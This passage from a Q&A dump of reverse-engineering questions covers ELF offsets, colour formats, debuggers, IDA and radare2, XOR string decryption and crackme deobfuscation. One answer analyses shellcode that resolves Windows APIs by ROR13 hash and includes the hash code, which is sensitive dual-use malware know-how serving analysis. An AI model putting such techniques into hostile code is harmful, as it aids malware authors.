    There are ?? section headers, starting at offset 0x????:\nSection Headers:\n\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] <section name>    <type>          00000000 0000?? 0000?? ??   A  0   0  4\n  [ 2] .text             <type>          00000000 000050 00???? 00  AX  0   0 16\n
    \n\n

    You function will probably be in the .text section which its base address (Off column) is 0x000050, i.e 0x50 bytes from the beginning of the file.

    \n\n

    Then, it should all make sense since it is what you get when subtracting the address you got from readelf from the one you got from radare2:

    \n\n
    0x0d318 - 0x0d2c8 = 0x50. \n
    \n" }, { "Id": "17228", "CreationDate": "2018-01-17T22:46:17.757", "Body": "

    I am currently trying to reverse engineer some game files. I have found the exact location of each graphic element, but now I am stuck trying to convert their data to "readable" rgb code. They use 16 bit long Hex values (0xC306 or 110000110000 converts to R:0 G:219 B:24)

    \n

    The file is written in little endian. Could someone tell me how they convert it?

    \n
    \n

    More examples:

    \n

    (0xCFC0 -> RGB 198 24 123)

    \n

    (0xFFF0 -> RGB 247 28 255)

    \n

    (0xFF00 -> RGB 0 28 255)

    \n
    \n", "Title": "Converting 16 bit long Hex value to a color", "Tags": "|file-format|decompress|hexadecimal|", "Answer": "

    It appears to be stored in byte-reversed order from what you gave with a standard 5-6-5 bit encoding and then scaled to a maximum of 255 for each.

    \n

    0xC0CF (0b1100000011001111)

    \n

    R: 24 (0b11000) * 255/31 = 197 G: 6 (0b000110) * 255/63 = 24 B: 15 (0b01111) * 255/31 = 123

    \n

    0xF0FF (0b1111000011111111)

    \n

    R: 30 (0b11110) * 255/31 = 247 G: 7 (0b000111) * 255/63 = 28 B: 31 (0b11111) * 255/31 = 255

    \n

    0x00FF (0b0000000011111111)

    \n

    R: 0 (0b00000) * 255/31 = 0 G: 7 (0b000111) * 255/63 = 28 B: 31 (0b11111) * 255/31 = 255

    \n" }, { "Id": "17232", "CreationDate": "2018-01-18T12:10:16.597", "Body": "

    There's time zone information in windows dumps stored in MINIDUMP_MISC_INFO_N, yet I couldn't find the command which prints this information in windbg. So, I have to extract this information from the dump manually...

    \n", "Title": "Is there a command in Windbg which prints MINIDUMP_MISC_INFO_N from the Windows mini dumps?", "Tags": "|windows|windbg|", "Answer": "

    There is a command .timezone which prints the timezone StandardName

    \n\n
    :\\>tzutil /s \"Greenwich Standard Time\"\n\n:\\>cdb -c \".timezone;q\" calc.exe | grep -B 1 -A 1 Green\n0:000> cdb: Reading initial command '.timezone;q'\nTime zone: Greenwich Standard Time; (UTC - 00:00)\nquit:\n\n:\\>tzutil /s \"Tokyo Standard Time\"\n\n:\\>cdb -c \".timezone;q\" calc.exe | grep -B 1 -A 1 Tokyo\n0:000> cdb: Reading initial command '.timezone;q'\nTime zone: Tokyo Standard Time; (UTC + 09:00)\nquit:\n\n:\\>tzutil /s \"India Standard Time\"\n\n:\\>cdb -c \".timezone;q\" calc.exe | grep -B 1 -A 1 India\n0:000> cdb: Reading initial command '.timezone;q'\nTime zone: India Standard Time; (UTC + 05:30)\nquit:\n
    \n\n

    if you want something else from the misc structure you can code some thing along this line and retrieve all information

    \n\n
    #include <engextcpp.hpp>\n#include <dbghelp.h>\nclass EXT_CLASS : public ExtExtension {\npublic:\n    EXT_COMMAND_METHOD(tzinfo);\n};\nEXT_DECLARE_GLOBALS();\nEXT_COMMAND(tzinfo,\"Output TimeZoneInfo\",\"{;e,o,d=0;tzinfo;Print TimeZone}\")\n{\n    Out(\"outputs timezone info \\n\");\n    MINIDUMP_MISC_INFO_N Info;\n    HRESULT Status;\n    if ((Status = m_Advanced2->Request(DEBUG_REQUEST_MISC_INFORMATION,NULL,\n                    0,&Info,sizeof(Info),NULL)) == S_OK){\n        Out(\"we recieved tzinfo %x\\n %S\\n\" , Info.TimeZoneId , Info.TimeZone.StandardName);\n    } else {\n        Out(\"we didnot recieve tzinfo\\n\");\n    }    \n}\n
    \n\n

    and use it like this

    \n\n
    :\\>.\\cdb -c \".load tzinfo ;!tzinfo;q\" calc | grep -A 4 Reading\n0:000> cdb: Reading initial command '.load tzinfo ;!tzinfo;q'\noutputs timezone info\nwe recieved tzinfo 0\n India Standard Time\nquit:\n\n:\\>tzutil /s \"Tokyo Standard Time\"\n\n:\\>.\\cdb -c \".load tzinfo ;!tzinfo;q\" calc | grep -A 4 Reading\n0:000> cdb: Reading initial command '.load tzinfo ;!tzinfo;q'\noutputs timezone info\nwe recieved tzinfo 0\n Tokyo Standard Time\nquit:\n
    \n" }, { "Id": "17233", "CreationDate": "2018-01-18T15:36:22.133", "Body": "

    I tried to google this for a while but I don\u2019t think I\u2019ve phrased it correctly.

    \n\n
    R read\nW write\nX execute\nL ?\nD ?\n
    \n", "Title": "What are L and D in r-w-x-l-d segment flags of IDA Pro?", "Tags": "|ida|", "Answer": "

    The D stands for debugger only and L for created by the loader - see IDA documentation

    \n" }, { "Id": "17246", "CreationDate": "2018-01-21T23:59:10.327", "Body": "

    I'm trying to solve a reverse engineering challenge (http://crackmes.cf/users/beatrix/beaba/) and am having trouble with the obfuscation. Below is a piece of code that gets executed almost immediately after having reached the entry point. After having reached the call instruction, it seems that the call is calling the second byte of the second instruction listed below.

    \n\n
    0000000000403789 | E8 01 00 00 00           | call beaba.40378F\n000000000040378E | 04 E8                    | add al,E8\n0000000000403790 | 01 00                    | add dword ptr ds:[rax],eax \n0000000000403792 | 00 00                    | add byte ptr ds:[rax],al\n0000000000403794 | D0 83 44 24 08 12        | rol byte ptr ds:[rbx+12082444],1\n000000000040379A | 83 04 24 0A              | add dword ptr ss:[rsp],A\n
    \n\n

    After decoding the bytes starting from the second byte of the second instruction, it translated to this:

    \n\n
    e8 01 00 00 00          call   0x6\nd0 83 44 24 08 12       rol    BYTE PTR [rbx+0x12082444],1\n83 04 24 0a             add    DWORD PTR [rsp],0xa\nc3                      ret\n
    \n\n

    This seems to be a local call I thought, I wasn't sure, which calls the function starting from the sixth byte after the call instruction (again, I'm not sure), which would mean that it calls the instructions starting from the byte with value 0x12. This translated to:

    \n\n
    00 00                   add    BYTE PTR [rax],al\n00 f4                   add    ah,dh\n83 44 24 08 12          add    DWORD PTR [rsp+0x8],0x12\n83 04 24 0a             add    DWORD PTR [rsp],0xa\nc3                      ret\n
    \n\n

    However, this is not so practical to do if this were to go on for 100 times.

    \n\n

    Now my question is: is this the correct way to analyze a program, or are there better/more efficient methods? I'm using x64dbg to analyze it and after the program starts calling overlapping instructions and then pauses at a certain instruction, maybe because that's the first instruction that does not overlap and it breaks.

    \n", "Title": "Deobfuscating overlapping x86 assembly instructions", "Tags": "|obfuscation|x86-64|", "Answer": "

    Advanced disassemblers solve this problem by performing a recursive traversal of the binary, i.e., they also look at possible jump/branch targets and disassemble from that location - even if the original linear scan indicated that the branch target was inside an instruction.

    \n\n

    OllyDbg as well as IDA Pro support recursive traversal. However, OllyDbg support for x64 seems to be still in development and x64 support is not included in the free (as beer) version of IDA Pro.

    \n\n

    See this article for more details.

    \n" }, { "Id": "17262", "CreationDate": "2018-01-23T17:35:46.153", "Body": "

    When examining bin firmware files Binwalk is an extremely helpful tool. There are times though that Binwalk comes up empty and a lot more digging is required to make sense of the data.

    \n\n

    Are there any alternatives to Binwalk that might work better in certain cases, or possibly a commercial version of such a tool?

    \n", "Title": "Binwalk alternative", "Tags": "|firmware|", "Answer": "

    The original answer I posted in 2018 is somewhat out of date now. There are 2 tools that have been released in the meantime that can help with understanding what is in a binary file. One tool, ISAdetect, focuses specifically on identifying the CPU the code in an executable binary targets. It accomplishes this using machine learning.

    \n

    Another tool, Centrifuge, also uses machine learning, but does not focus on machine code specifically. Rather, this tool was designed to help an analyst identify what kinds of data are encoded in binary files (full disclosure, I am the creator of this tool). To that end, it provides many functions for visualizing the data in a binary file using Python plotting libraries, and finds clusters of statistically-similar data by using scikit-learn's implementation of the DBSCAN algorithm. Centrifuge also uses ISAdetect's web API to identify any machine code found in a binary file.

    \n

    Here are some examples of visualizations Centrifuge can create from data in a binary file:

    \n

    \"readelf

    \n

    \"firmware

    \n

    \"AVR

    \n

    As you can see from these images, the approach taken by the tool is statistical. It is through statistical analysis of the data in a file that Centrifuge is able to identify what types of data may be present. At time of writing, 3 different data types can be identified: machine code, UTF-english, and compression/encryption.

    \n

    As an example of this, here is the output for a firmware binary analyzed by Centrifuge:

    \n
    Searching for machine code\n--------------------------------------------------------------------\n\n[+] Checking Cluster 0 for possible match\n[+] Closely matching CPU architecture reference(s) found for Cluster 0\n[+] Sending sample to https://isadetect.com/\n[+] response:\n\n{\n    "prediction": {\n        "architecture": "mips",\n        "endianness": "little",\n        "wordsize": 32\n    },\n    "prediction_probability": 0.93\n}\n\n\nSearching for utf8-english data\n-------------------------------------------------------------------\n\n[+] UTF-8 (english) detected in Cluster 1\n    Wasserstein distance to reference: 7.861589780632858\n\n\nSearching for high entropy data\n-------------------------------------------------------------------\n\n[+] High entropy data found in Cluster 2\n    Wasserstein distance to reference: 0.4625352842771307\n[*] This distance suggests the data in this cluster could be\n    a) encrypted\n    b) compressed via LZMA with maximum compression level\n    c) something else that is random or close to random.\n
    \n

    For context, here is a visualization of the information of the same binary:

    \n

    \"firmware

    \n

    For those who are interested, here is a notebook explaining how to use it: Introduction to Centrifuge.

    \n" }, { "Id": "17269", "CreationDate": "2018-01-24T03:37:51.423", "Body": "

    From the demangled name, I know that a function takes an std::string const& as a parameter but when generating psuedo-c code with Hex-Rays' decompiler it autodetects the parameters as (int a1, int a2, int a3)

    \n\n

    How can I fix the function signature Hex-Rays' is generating?

    \n\n

    \"screenshot

    \n\n
    int __fastcall EncodeUtil::getDecryptStr(int a1, int a2, int a3)\n{\n  int v3; // r7\n  unsigned int i; // r5\n  char v5; // r6\n  int v7; // [sp+4h] [bp-1Ch]\n  int v8; // [sp+8h] [bp-18h]\n\n  v7 = a2;\n  v8 = a3;\n  v3 = a1;\n  HttpUtility::URLDecode(&v7);\n  for ( i = 0; i < *(_DWORD *)(v7 - 12); ++i )\n  {\n    sub_3B25D0(&v7);\n    v5 = byte_41A7DD[i & 7];\n    *(_BYTE *)(v7 + i) ^= v5;\n    sub_3B25D0(&v7);\n    if ( !*(_BYTE *)(v7 + i) )\n    {\n      sub_3B25D0(&v7);\n      *(_BYTE *)(v7 + i) ^= v5;\n    }\n  }\n  sub_3B2E20(v3, &v7);\n  sub_3B1CCC(&v7);\n  return v3;\n}\n
    \n", "Title": "Hex-Rays function signature does not match demangled name", "Tags": "|ida|arm|hexrays|strings|", "Answer": "

    It looks like hex-rays mistakenly thought there were three parameters instead of two. If you look at the start of the function's disassembly R1 and R2 are not saved, only R0 is. You should be able to just change the function signature to int __fastcall EncodeUtil::getDecryptStr(void* pString). The default key to do so is Y. If you have a struct definition for std::string you can replace the void* in the signature with an std::string*

    \n" }, { "Id": "17271", "CreationDate": "2018-01-24T11:13:56.093", "Body": "

    I need to find values of arguments that are passed to specific function.

    \n\n

    Normally I set INT3 breakpoint and check registers and the stack whenever it is reached. But there is too many calls to this specific function to do it manually, so I'm trying to find some automatic solution.

    \n\n

    Any suggestions?

    \n", "Title": "Record all calls to specific function? Olly/x64dbg", "Tags": "|ida|ollydbg|x64dbg|", "Answer": "

    ollydbg v 2.01

    \n\n

    ollydbg calc.exe -> ctrl+g ->address or symbol->follow ->shift+f4 ->pause never -> log arguments ->always -> f9 and see the log window

    \n\n

    \"enter

    \n\n

    if you are on windbg you simply do

    \n\n
    0:003> bp USER32!TranslateMessage \"dt ole32!tagMSG poi(@esp+4);kb 2;.echo ========;gc\"\nbreakpoint 0 redefined\n0:003> g\n   +0x000 hwnd             : (null) \n   +0x004 message          : 0x113\n   +0x008 wParam           : 0x3341\n   +0x00c lParam           : 0n1954748594\n   +0x010 time             : 0x147656d\n   +0x014 pt               : tagPOINT\n # ChildEBP RetAddr  Args to Child              \n00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage\n01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b\n========\n   +0x000 hwnd             : 0x000e0212 HWND__\n   +0x004 message          : 0xf\n   +0x008 wParam           : 0\n   +0x00c lParam           : 0n0\n   +0x010 time             : 0x1477998\n   +0x014 pt               : tagPOINT\n # ChildEBP RetAddr  Args to Child              \n00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage\n01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b\n========\n   +0x000 hwnd             : 0x001d017e HWND__\n   +0x004 message          : 0xf\n   +0x008 wParam           : 0\n   +0x00c lParam           : 0n0\n   +0x010 time             : 0x14779a8\n   +0x014 pt               : tagPOINT\n # ChildEBP RetAddr  Args to Child              \n00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage\n01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b\n========\n
    \n\n

    edit

    \n\n

    x64 dbg also has an edit breakpoint when you toggle an f2 bp but i dont know how you can coax it to decode teh arguments

    \n\n

    with x64 dbg you set an f2 breakpoint from the gui then rightclick edit breakpoint

    \n\n

    and set the condition to break as 0 (never break)\nand in the log text edit box input this formatted string

    \n\n

    and see the results in log window

    \n\n

    like below

    \n\n
    msg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: F\nmsg *:FEDB0;hwnd=:3D0458;msg =: F\nmsg *:FEDB0;hwnd=:1908B8;msg =: F\nmsg *:FEDB0;hwnd=:8038E;msg =: F\n
    \n\n

    \"enter

    \n" }, { "Id": "17278", "CreationDate": "2018-01-24T20:28:59.363", "Body": "

    In the abstract, I'm just wondering what an SDB file does and what role it plays. I see Radare2 is using them.. Here are some of the SDB files I have under ./libr/bin/d/dll/, what do these do?

    \n\n
    ./libr/bin/d/dll/csmfpapi.sdb\n./libr/bin/d/dll/atl.sdb\n./libr/bin/d/dll/msvbvm60.sdb\n./libr/bin/d/dll/msi.sdb\n./libr/bin/d/dll/mfc90u.sdb\n./libr/bin/d/dll/msvbvm50.sdb\n./libr/bin/d/dll/dsound.sdb\n./libr/bin/d/dll/mfc71.sdb\n./libr/bin/d/dll/olepro32.sdb\n
    \n", "Title": "What is an SDB file?", "Tags": "|pe|radare2|pe32|", "Answer": "

    SDB stands for String Database.

    \n\n
    \n

    sdb is a simple string key/value database based on cdb disk\n storage and supports JSON and arrays introspection.

    \n
    \n\n

    You can see the SDB commands listed with the k command,

    \n\n
    |Usage: k[s] [key[=value]]Sdb Query\n| k foo=bar                 set value\n| k foo                     show value\n| k                         list keys\n| ko [file.sdb] [ns]        open file into namespace\n| kd [file.sdb] [ns]        dump namespace to disk\n| ks [ns]                   enter the sdb query shell\n| k anal/meta/*             ist kv from anal > meta namespaces\n| k anal/**                 list namespaces under anal\n| k anal/meta/meta.0x80404  get value for meta.0x80404 key\n
    \n\n

    There's a whole post about it in radare2 blog, check it out here.
    \nYou can read more about it in this link from radare2's repository.
    \nThere's also a short, and not so detailed, chapter about it in r2book.

    \n\n
    \n\n

    Edit: You added another question so I'll expand my answer accordingly.
    \nThese sdbfiles contain function names (DLL's exports) and their equivalent ordinals for each dll in ./libr/bin/d/dll/. Each file contains a key-value line in this format:

    \n\n
    ordinal_num=export_name\nanother_ordinal_num=another_export_name\n
    \n\n

    So, if we'll take msi.dll from the list you've mentioned, its sdb file will look like this:

    \n\n
    ...\n232=Migrate10CachedPackagesW\n1=MsiAdvertiseProductA\n223=MsiAdvertiseProductExA\n224=MsiAdvertiseProductExW\n2=MsiAdvertiseProductW\n...\n
    \n\n

    These files are then compiled by MakeFile. To add sdb files for DLL you can follow \"sdb_ordinal.md\" article from radare2 docs.

    \n" }, { "Id": "17279", "CreationDate": "2018-01-24T21:50:42.323", "Body": "

    Just wondering what it means when in the visual display it shows invalid? Is that just a way of saying there is nothing at that address?

    \n\n
    0x0003ce0c      ff             invalid\n0x0003ce0d      ff             invalid\n0x0003ce0e      ff             invalid\n0x0003ce0f      ff             invalid\n0x0003ce10      ff             invalid\n0x0003ce11      ff             invalid\n0x0003ce12      ff             invalid\n0x0003ce13      ff             invalid\n0x0003ce14      ff             invalid\n0x0003ce15      ff             invalid\n0x0003ce16      ff             invalid\n0x0003ce17      ff             invalid\n0x0003ce18      ff             invalid\n
    \n", "Title": "What does it mean when radare2 says \"invalid\"?", "Tags": "|radare2|", "Answer": "

    It simply means that the bytes, 0xff in your case, are not valid instructions.
    \nSo, to put it simply, it means that you are not looking at code. Try another offsets and sections.

    \n\n
    \n

    Is that just a way of saying there is nothing at that address?

    \n
    \n\n

    This does not mean that there's nothing there, it means that there are no valid instructions there. As you can see, these addresses at your paste contains \"0xff\" bytes.

    \n" }, { "Id": "17286", "CreationDate": "2018-01-25T09:42:23.123", "Body": "

    I have an arm complied so file and find the decrypt function which pseudocode generated by IDA Pro is like this:

    \n
    char __cdecl EncodeUtil::getDecryptStr()\n{\n  int *v0; // r0\n  int *v1; // r7\n  unsigned int i; // r5\n  char v3; // r6\n  int v5; // [sp+4h] [bp-1Ch]\n\n  v1 = v0;\n  HttpUtility::URLDecode(&v5);\n  for ( i = 0; i < *(_DWORD *)(v5 - 12); ++i )\n  {\n    sub_3B25D0(&v5);\n    v3 = byte_41A7DD[i & 7]; //byte_41A7DD     DCB 0xC, 0x17, 0xDE, 0x22, 0x2C, 0xC9, 0x37, 0x43\n    *(_BYTE *)(v5 + i) ^= v3;\n    sub_3B25D0(&v5);\n    if ( !*(_BYTE *)(v5 + i) )\n    {\n      sub_3B25D0(&v5);\n      *(_BYTE *)(v5 + i) ^= v3;\n    }\n  }\n  sub_3B2E20(v1, &v5);\n  sub_3B1CCC(&v5);\n  return (char)v1;\n}\n
    \n

    and the sub_3B25D0 function is:

    \n
    int *__fastcall sub_3B25D0(int *result)\n{\n  if ( *(_DWORD *)(*result - 4) >= 0 )\n    result = sub_3B2580(result);\n  return result;\n}\n
    \n

    and the sub_3B2580 function is:

    \n
    int *__fastcall sub_3B2580(int *result)\n{\n  int v1; // r3\n  int *v2; // r4\n\n  v1 = *result;\n  v2 = result;\n  if ( (int *)(*result - 12) != &dword_4C60C0 )\n  {\n    if ( *(_DWORD *)(v1 - 4) > 0 )\n    {\n      result = sub_3B1D0C(result, 0, 0, 0);\n      v1 = *v2;\n    }\n    *(_DWORD *)(v1 - 4) = -1;\n  }\n  return result;\n}\n
    \n

    and then sub_3B1D0C

    \n
    int *__fastcall sub_3B1D0C(int *result, size_t a2, int a3, int a4)\n{\n  int v4; // r12\n  int v5; // r10\n  int v6; // r8\n  int v7; // r7\n  unsigned int v8; // r3\n  unsigned int v9; // r8\n  int *v10; // r5\n  int v11; // r4\n  size_t v12; // r6\n  size_t v13; // r10\n  int v14; // r0\n  int v15; // r9\n  bool v16; // zf\n  int v17; // r7\n  int v18; // r4\n  const void *v19; // r1\n  int v20; // r7\n  int v21; // r4\n  _BYTE *v22; // r1\n  char v23; // [sp+4h] [bp-24h]\n\n  v4 = *result;\n  v5 = *(_DWORD *)(*result - 12);\n  v6 = a4 - a3;\n  v7 = a4;\n  v8 = *(_DWORD *)(*result - 8);\n  v9 = v6 + v5;\n  v10 = result;\n  v11 = a3;\n  v12 = a2;\n  v13 = v5 - a2 - a3;\n  if ( v9 > v8 || *(_DWORD *)(v4 - 4) > 0 )\n  {\n    v14 = sub_3B1B30(v9, v8, &v23);\n    if ( v12 )\n    {\n      v22 = (_BYTE *)*v10;\n      if ( v12 == 1 )\n      {\n        *(_BYTE *)(v14 + 12) = *v22;\n        v15 = v14 + 12;\n      }\n      else\n      {\n        v15 = v14 + 12;\n        memcpy((void *)(v14 + 12), v22, v12);\n      }\n    }\n    else\n    {\n      v15 = v14 + 12;\n    }\n    if ( v13 )\n    {\n      v20 = v7 + v12;\n      v21 = v11 + v12;\n      if ( v13 == 1 )\n        *(_BYTE *)(v15 + v20) = *(_BYTE *)(*v10 + v21);\n      else\n        memcpy((void *)(v15 + v20), (const void *)(*v10 + v21), v13);\n    }\n    result = (int *)(*v10 - 12);\n    if ( result != &dword_4C60C0 )\n      result = (int *)sub_3B1C84();\n    v4 = v15;\n    *v10 = v15;\n  }\n  else\n  {\n    v16 = a3 == v7;\n    if ( a3 != v7 )\n      v16 = v13 == 0;\n    if ( !v16 )\n    {\n      v17 = v7 + a2;\n      v18 = a3 + a2;\n      result = (int *)(v4 + v17);\n      v19 = (const void *)(v4 + a3 + a2);\n      if ( v13 == 1 )\n        *(_BYTE *)(v4 + v17) = *(_BYTE *)(v4 + v18);\n      else\n        result = (int *)memmove(result, v19, v13);\n      v4 = *v10;\n    }\n  }\n  if ( (int *)(v4 - 12) != &dword_4C60C0 )\n  {\n    *(_DWORD *)(v4 - 4) = 0;\n    *(_DWORD *)(v4 - 12) = v9;\n    *(_BYTE *)(v4 + v9) = 0;\n  }\n  return result;\n}\n
    \n

    can anyone give a best guess what does the function do after HttpUtility::URLDecode ?

    \n

    EDIT

    \n

    As inspired by @NirIzr's answer below and some of the comments, I wrote a snippet of Java code to try the XOR like this:

    \n
     public static void main(String args[])\n    {\n        byte[] _bytes = null;\n        byte[] key = {(byte) 0xC,(byte)0x17,(byte)0xDE,(byte)0x22,(byte)0x2C,(byte)0xC9,(byte)0x37,(byte)0x43};\n        String s = "%EB%9Ff%C5%A4q%D0%D9%88%F2M%87%C9Z%92%A6%83%BC%3B%86%8B%2D%8B%EC";\n        try {\n            String decoded = URLDecoder.decode(s,"UTF-8");\n            _bytes = decoded.getBytes();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n\n\n        for(int i=0;i<_bytes.length;i++){\n            _bytes[i] = (byte)(_bytes[i] ^ key[i%key.length]);\n        }\n\n        System.out.println(new String(_bytes));\n\n    }\n
    \n

    But the out put didn't seems to be good:

    \n

    \ufffdcD\ufffdmF\ufffd\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffdc\u0353tm\ufffd\ufffd\ufffd1\ufffd\ufffd&\ufffd\ufffd\ufffdc\ufffdv\ufffd\ufffd\ufffd\ufffd\ufffd\u0353t\ufffd\ufffd

    \n", "Title": "how to find the encryption algorithm?", "Tags": "|c|decryption|decompress|", "Answer": "

    All the credit for this this answer should go to the @NirIzr and @Avery3R.

    \n\n

    Here is a python script that implements the xoring mentioned by these kind people:

    \n\n
    import urllib\nimport binascii\ndata = \"%EB%9Ff%C5%A4q%D0%D9%88%F2M%87%C9Z%92%A6%83%BC%3B%86%8B%2D%8B%EC\" #quoted data as is\nunquoted = urllib.unquote(data)\nkey = binascii.unhexlify(\"0C17DE222CC93743\") # the key\nidx = 0\nres = \"\"\nfor c in unquoted:\n    res += chr(ord(c) ^ ord(key[idx % len(key)]))\n    idx += 1\nprint res\n
    \n\n

    The result of running:

    \n\n
    \u256d\u2500wireshrink@[cenzored] ~/test  \n\u2570\u2500$ python ./test.py \n\u7238\u7238\u7684\u54e5\u54e5\u53eb\u5927\u4f2f\n
    \n\n

    I think that you either forgot to encode it back to UTF8 before printing or there is some other issue in your code or default environment that is related to encoding.

    \n" }, { "Id": "17288", "CreationDate": "2018-01-25T13:13:31.957", "Body": "

    I read here that some PE files have debug information baked into the PE file. Is this only the case for older PE files?

    \n\n

    Is it safe to assume that all Visual Studio compiled PE files have all debug information (if any) in an external PDB file, i.e. do not contain debug information other than the path to a PDB file?

    \n", "Title": "Is all debug information of VS-compiled PE files contained in an external PDB file?", "Tags": "|pe|compilers|debugging-symbols|pdb|", "Answer": "

    Old versions of link.exe supported the /debugtype argument that used these options:

    \n\n
    /debugtype:coff    \n   use COFF format\n/debugtype:cv\n   use CodeView or Program Database format (depends on /pdb option) \n/debugtype:both   \n   use both COFF and CodeView/Program Database formats\n
    \n\n

    According to the MSDN docs for Visual Studio 2008's linker, that option was no longer available; and the information for the /debug switch states that \"it is not possible to create an .exe or .dll that contains debug information. Debug information is always placed in a .pdb file.\"

    \n\n

    So anything built with Microsoft tools from the last decade won't have embedded symbol information.

    \n" }, { "Id": "17289", "CreationDate": "2018-01-25T16:43:13.960", "Body": "

    I'm disassembling a shellcode and I found that it resolves adress of some function manually using the hash to find function in kernel32.dll.\nexample :

    \n\n
    call findKernel32Base\n....\npush 0EC0E4E8Eh\ncall findSymbolByHash\nmov [ebp-4], eax\n
    \n\n

    For this example the function resolved is LoadLibraryA, I found it by searching the hash on google but what if I don't find it on google ? \nHow can I find the function related to the hash value without debugging the shellcode ( some manually resolve failed when I debug it so it crash ) ?

    \n\n

    Thank you !

    \n", "Title": "How to find a fuction hash when manually resolving in shellcode?", "Tags": "|shellcode|", "Answer": "

    iirc you cant go from a constant hash to name \nbut hash an exported name compare the generated hash with the constant

    \n\n

    you can see a discussion and an implementation here

    \n\n

    a ripped python implementation using the discussion as follows

    \n\n
    :\\>cat foo.py\ndef rol32(val, amt):\n        return ( (val << amt) & 0xffffffff ) | ( ( val >> (32 - amt) ) & 0xffffffff )\n\ndef ror32(val, amt):\n        return ( (val >> amt) & 0xffffffff ) | ( ( val << (32 - amt) ) & 0xffffffff )\n\ndef add32(val, amt):\n        return (val + amt) & 0xffffffff\n\ndef hash_export(name):\n    result = 0\n    index = 0\n    while(index < len(name)):\n        result  = add32(ror32(result, 13), ord(name[index]) & 0xff)\n        index += 1\n    return result\n\nprint hex(hash_export(\"LoadLibraryA\"))\n:\\>python foo.py\n0xec0e4e8eL\n
    \n" }, { "Id": "17291", "CreationDate": "2018-01-25T17:36:04.543", "Body": "

    I'm playing with a pe32 file. With is, Some of my symbols say GLOBAL others say NONE,

    \n\n
    006 0x00027514 0x100428114 GLOBAL   FUNC    0 k.exe_asdf\n....\n002 0x0002a808 0x10042c008   NONE   FUNC    0 imp.foo.dll_bar\n
    \n\n

    Are the only two options GLOBAL and NONE? Where can I find the output definition of this screen. If I run the same executable under objdump -t it just shows

    \n\n
    ./k.exe:     file format pei-x86-64\n\nSYMBOL TABLE:\nno symbols\n
    \n\n

    nm also shows no symbols. I'm guessing though that radare2 is just better working with pe32+ files?

    \n", "Title": "What is the difference between a GLOBAL symbol and NONE?", "Tags": "|radare2|symbols|", "Answer": "

    PE Binding

    \n\n

    \"GLOBAL\" and \"NONE\" are values of the \"Bind\" column in radare2's symbol table. As @blabb correctly described, whenever you look at the \"Exports\" through radare2 you'll see the value \"GLOBAL\" assigned to ptr->bind and you'll see \"NONE\" assigned to each import. The thing is, that this is only relevant for PE files and I'll soon explain it deeper. For now, let's look at the implemented code in radare2.

    \n\n

    @blabb mentioned that you can easily spot this in the code, that's true. Here's how the implementation of bind is for PE exports:

    \n\n
    if ((symbols = PE_(r_bin_pe_get_exports)(bf->o->bin_obj))) {\n        for (i = 0; !symbols[i].last; i++) {\n            if (!(ptr = R_NEW0 (RBinSymbol))) {\n                break;\n            }\n            ptr->name = strdup ((char *)symbols[i].name);\n            ...\n            ptr->bind = r_str_const (\"GLOBAL\");\n            ptr->type = r_str_const (\"FUNC\");\n            ptr->size = 0;\n            ...\n            ...\n
    \n\n

    You can see that ptr->bind is unconditionally assigned to be \"GLOBAL\".

    \n\n

    That's how the implementation of bind is looking like for PE import:

    \n\n
    if ((imports = PE_(r_bin_pe_get_imports)(bf->o->bin_obj))) {\n        for (i = 0; !imports[i].last; i++) {\n            if (!(ptr = R_NEW0 (RBinSymbol))) {\n                break;\n            }\n            ...\n            ptr->name = r_str_newf (\"imp.%s\", imports[i].name);\n            ptr->bind = r_str_const (\"NONE\");\n            ptr->type = r_str_const (\"FUNC\");\n            ptr->size = 0;\n            ...\n            ...\n
    \n\n

    Again, it is unconditionally assigned to \"NONE\".

    \n\n
    \n\n

    Symbol Binding

    \n\n

    Symbol binding is a subject that thoroughly was already answered by @SYS_V in this incredibly good answer.

    \n\n

    To quote from his answer:

    \n\n
    \n

    There must be a way for the link editor (ld) to determine the scope of\n a symbol during link-time. In other words, symbol binding allows the\n link editor to differentiate between symbols visible only within a\n particular file being linked (local scope) vs. symbols that can be\n referenced from within functions located in other files (global\n scope).

    \n
    \n\n

    For ELF files, GLOBAL binding means the symbol is visible outside the file. LOCAL binding is visible only in the file. WEAK is like global, the symbol can be overridden.

    \n\n

    There are many more binding values for ELF as you can see in this table:

    \n\n
    +------------+-------+\n|    Name    | Value |\n+------------+-------+\n| STB_LOCAL  |     0 |\n| STB_GLOBAL |     1 |\n| STB_WEAK   |     2 |\n| STB_LOOS   |    10 |\n| STB_HIOS   |    12 |\n| STB_LOPROC |    13 |\n| STB_HIPROC |    15 |\n+------------+-------+\n
    \n\n

    And radare2 implemented it as well in fill_symbol_bind_and_type:

    \n\n
    switch (ELF_ST_BIND(sym->st_info)) {\ncase STB_LOCAL:  s_bind (\"LOCAL\"); break;\ncase STB_GLOBAL: s_bind (\"GLOBAL\"); break;\ncase STB_WEAK:   s_bind (\"WEAK\"); break;\ncase STB_NUM:    s_bind (\"NUM\"); break;\ncase STB_LOOS:   s_bind (\"LOOS\"); break;\ncase STB_HIOS:   s_bind (\"HIOS\"); break;\ncase STB_LOPROC: s_bind (\"LOPROC\"); break;\ncase STB_HIPROC: s_bind (\"HIPROC\"); break;\ndefault:         s_bind (\"UNKNOWN\");\n}\n
    \n\n

    Further reading

    \n\n

    I highly recommend @SYS_V's answer for more information. You can also read more about Symbol Resolution here and you can find more information about Symbol visibility in this link.

    \n" }, { "Id": "17310", "CreationDate": "2018-01-27T16:21:59.190", "Body": "

